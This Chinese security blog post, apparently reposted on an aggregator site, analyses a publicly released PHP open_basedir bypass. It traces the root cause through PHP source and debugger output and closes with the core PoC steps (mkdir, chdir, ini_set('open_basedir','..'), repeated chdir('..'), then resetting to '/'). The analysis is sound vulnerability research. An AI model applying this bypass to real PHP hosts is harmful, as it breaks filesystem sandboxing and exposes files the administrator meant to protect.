从PHP底层看open_basedir bypass
Posted 嘶吼专业版
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了从PHP底层看open_basedir bypass相关的知识,希望对你有一定的参考价值。
前言
有国外的大佬近日公开了一个php open_basedir bypass的poc,正好最近在看php底层,于是打算分析一下。
poc测试
首先测试一下:
我们用如上源码进行测试,首先设置open_basedir目录为/tmp目录,再尝试用ini_set设置open_basedir则无效果,我们对根目录进行列目录,发现无效,返回bool(false)。
我们再尝试一下该国外大佬的poc:
发现可以成功列举根目录,bypass open_basedir。
那么为什么一系列操作后,就可以重设open_basedir了呢?我们一步一步从头探索。
ini_set覆盖问题探索
为什么连续使用ini_set不会对open_basedir进行覆盖呢?我们以如下代码为例:
<?php
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/tmp');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '..');
var_dump(ini_get('open_basedir'));
运行后结果如下:
string(0) ""
string(4) "/tmp"
string(4) "/tmp"
string(4) "/tmp"
默认的open_basedir值本来是空,第一次设置成/tmp后,以为设置将不会覆盖。
我们来探索一下原因。首先找到php函数对应的底层函数:
ini_get : PHP_FUNCTION(ini_get)
ini_set : PHP_FUNCTION(ini_set)
这里我们主要看的是ini_set的流程,ini_get作为信息输出函数,我们不太关心。
我们先对ini_set下断点,然后再run程序:
b /php7.0-src/ext/standard/basic_functions.c 5350
r c.php
程序跑起来后,首先是3个初始值:
zend_string *varname;
zend_string *new_value;
char *old_value;
然后进入词法分析,得到3个变量值:
if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) {
return;
}
我们可以看到
pwndbg> p *varname
$45 = {
gc = {
refcount = 0,
u = {
v = {
type = 6 ' 06',
flags = 2 ' 02',
gc_info = 0
},
type_info = 518
}
},
h = 15582417252668088432,
len = 12,
val = "o"
}
这是zend_string的结构体,也是php7的新增结构:
struct _zend_string {
zend_refcounted_h gc; /*gc信息*/
zend_ulong h; /* hash value */
size_t len; /*字符串长度*/
};
我们可以看到varname.val为:
pwndbg> p &varname.val
$46 = (char (*)[1]) 0x7ffff7064978
pwndbg> x/s $46
0x7ffff7064978:"open_basedir"
然后new_value.val为:
pwndbg> p &new_value.val
$48 = (char (*)[1]) 0x7ffff7058ad8
pwndbg> x/s $48
0x7ffff7058ad8:"/tmp"
即我们最开始传入的两个参数。
然后程序拿到原来的open_basedir的value:
然后会进入php_ini_check_path:
由于第一次没有设置过open_basedir,所以直接跳出判断,进入下一步:
if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
zval_dtor(return_value);
RETURN_FALSE;
}
我们跟进FAILURE,找到定义:
typedef enum {
SUCCESS = 0,
FAILURE = -1,/* this MUST stay a negative number, or it may affect functions! */
} ZEND_RESULT_CODE;
当zend_alter_ini_entry_ex的返回值不为-1时,即代表更新成功,否则则会进入if,返回false。
而经过比对发现:第一次设置open_basedir和第二次设置时候,正是这里的返回值不一样,第一次设置时,这里为SUCCESS,即0,而第二次设置为FAILURE,即-1,我们跟入zend_alter_ini_entry_ex进行比对:
b /php7.0-src/Zend/zend_ini.c:330
发现两次不同的点在于如下判断:
if (!ini_entry->on_modify|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)
第一次时:
ini_entry->on_modify = 0x5d046e <OnUpdateBaseDir>ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = 0
第二次时:
ini_entry->on_modify :0x5d046e <OnUpdateBaseDir>ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = -1
可以确定是on_modify,那么我们单步跟进,到达:
PHPAPI ZEND_INI_MH(OnUpdateBaseDir)
发现在进行如下操作时,返回FAILURE:
if (php_check_open_basedir_ex(ptr, 0) != 0) {
/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */efree(pathbuf);
return FAILURE;
}
正是php_check_open_basedir_ex()未通过才导致我们ini_set失败,而第一次的时候,这里是通过的。
所以最后的问题落在`php_check_open_basedir_ex`上,如果想要利用ini_set覆盖之前的open_basedir,那么必须通过该校验。
php_check_open_basedir_ex
找到切入点后,后面就是进行分析,看如何bypass php_check_open_basedir_ex。
我们源码跟进这个函数:
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
#define MAXPATHLEN PATH_MAX
#define PATH_MAX 1024 /* max bytes in pathname */
首先判断路径是否过长,是否超过1023。
然后是另一个校验函数:
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}
跟进后,该函数首先进行了操作:
if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {
/* Else use the unmodified path */
strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));
}
比对当前目录,并赋值给local_open_basedir,然后继续看目录名长度是否合法:
path_len = strlen(path);
if (path_len > (MAXPATHLEN - 1)) {
/* empty and too long paths are invalid */
return -1;
}
然后进入操作:
if (expand_filepath(path, resolved_name) == NULL) {
return -1;
}
PHPAPI char *expand_filepath(const char *filepath, char *real_path){
return expand_filepath_ex(filepath, real_path, NULL, 0);
}
将传入的path,用绝对路径保存在resolved_name。
然后操作继续进入判断:
if (expand_filepath(local_open_basedir, resolved_basedir) != NULL)
将local_open_basedir的值存放于resolved_basedir,用于后面的比较:
if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0)
{
if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;}
else {
/* File is in the right directory */
return 0;
}
}
else {
/* /openbasedir/ and /openbasedir are the same directory */
if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR)
{
if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
return 0;
}
}
return -1;
}
}
上述操作正是在匹配路径是否是open_basedir规定的路径。
那么不难发现,可控点应该就要追溯到之前的:
expand_filepath()
因为关键路径resolved_name和resolved_basedir均由这个函数生成。
所以要bypass php_check_open_basedir_ex的关键,在于bypass expand_filepath()。其获取到的path才是真正用来比对的path。
expand_filepath()
我们跟进至:
PHPAPI char *expand_filepath(const char *filepath, char *real_path){
return expand_filepath_ex(filepath, real_path, NULL, 0);
}
继续跟expand_filepath_ex:
PHPAPI char *expand_filepath_ex(const char *filepath, char *real_path, const char *relative_to, size_t relative_to_len){
return expand_filepath_with_mode(filepath, real_path, relative_to, relative_to_len, CWD_FILEPATH);
}
再跟expand_filepath_with_mode,来到关键操作位置:
if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {efree(new_state.cwd);
return NULL;
}
跟入virtual_file_ex得到关键语句:
if (!IS_ABSOLUTE_PATH(path, path_length)) {
if (state->cwd_length == 0) {
/* resolve relative path */
start = 0;
memcpy(resolved_path , path, path_length + 1);
} else {
int state_cwd_length = state->cwd_length;
......
state->cwd_length = path_length;
......
memcpy(state->cwd, resolved_path, state->cwd_length+1);
即目录拼接操作,如果path不是绝对路径,同时`state->cwd`长度为0,那么直接将path作为绝对路径,保存在resolved_path。否则则在state->cwd后拼接。
那么可以落点于path_length,这决定了我们拼接的长度:
path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);
跟进tsrm_realpath_r,不难发现主要操作用于:
remove double slashes and '.'
remove '..' and previous directory
那么最后可以总结expand_filepath()全身心的投入在相对路径和绝对路径,没有考虑open_basedir如果为相对路径会实时变化的问题。
总结
所以最后的bypass poc也变得非常清楚:
首先需要构造一个相对可上跳的open_basedir:
mkdir('sky');
chdir('sky');
ini_set('open_basedir','..');
这也是为什么要先创文件夹的原因,就是为了在当前目录构造可以..的ini_set。
然后每次目录操作:
chdir('..');
都会进行一次open_basedir的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次open_basedir的补全都会上跳。
比如初试open_basedir为/a/b/c/d:
第一次chdir后变为/a/b/c,
第二次chdir后变为/a/b,
第三次chdir后变为/a,
第四次chdir后变为/,
那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。
后记
这个poc还是很巧妙的,重点在于构造出相对路径的open_basedir,再触发其进行上跳!
以上是关于从PHP底层看open_basedir bypass的主要内容,如果未能解决你的问题,请参考以下文章